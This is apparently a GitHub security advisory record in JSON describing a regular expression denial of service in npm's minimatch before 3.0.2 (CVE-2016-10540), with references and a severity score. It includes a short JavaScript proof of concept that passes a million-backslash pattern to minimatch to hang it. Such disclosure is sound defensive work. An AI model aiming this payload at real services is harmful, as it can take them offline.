{"id":"GHSA-hxm2-r34f-qmc5","summary":"Regular Expression Denial of Service in minimatch","details":"Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`.\n\n\n## Proof of Concept\n```js\nvar minimatch = require(“minimatch”);\n\n// utility function for generating long strings\nvar genstr = function (len, chr) {\n  var result = “”;\n  for (i=0; i\u003c=len; i++) {\n    result = result + chr;\n  }\n  return result;\n}\n\nvar exploit = “[!” + genstr(1000000, “\\\\”) + “A”;\n\n// minimatch exploit.\nconsole.log(“starting minimatch”);\nminimatch(“foo”, exploit);\nconsole.log(“finishing minimatch”);\n```\n\n\n## Recommendation\n\nUpdate to version 3.0.2 or later.","aliases":["CVE-2016-10540"],"modified":"2023-11-01T04:46:34.939282Z","published":"2018-10-09T00:40:41Z","database_specific":{"github_reviewed_at":"2020-06-16T21:41:28Z","nvd_published_at":null,"cwe_ids":["CWE-400"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-10540"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hxm2-r34f-qmc5"},{"type":"WEB","url":"https://www.npmjs.com/advisories/118"}],"affected":[{"package":{"name":"minimatch","ecosystem":"npm","purl":"pkg:npm/minimatch"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/10/GHSA-hxm2-r34f-qmc5/GHSA-hxm2-r34f-qmc5.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}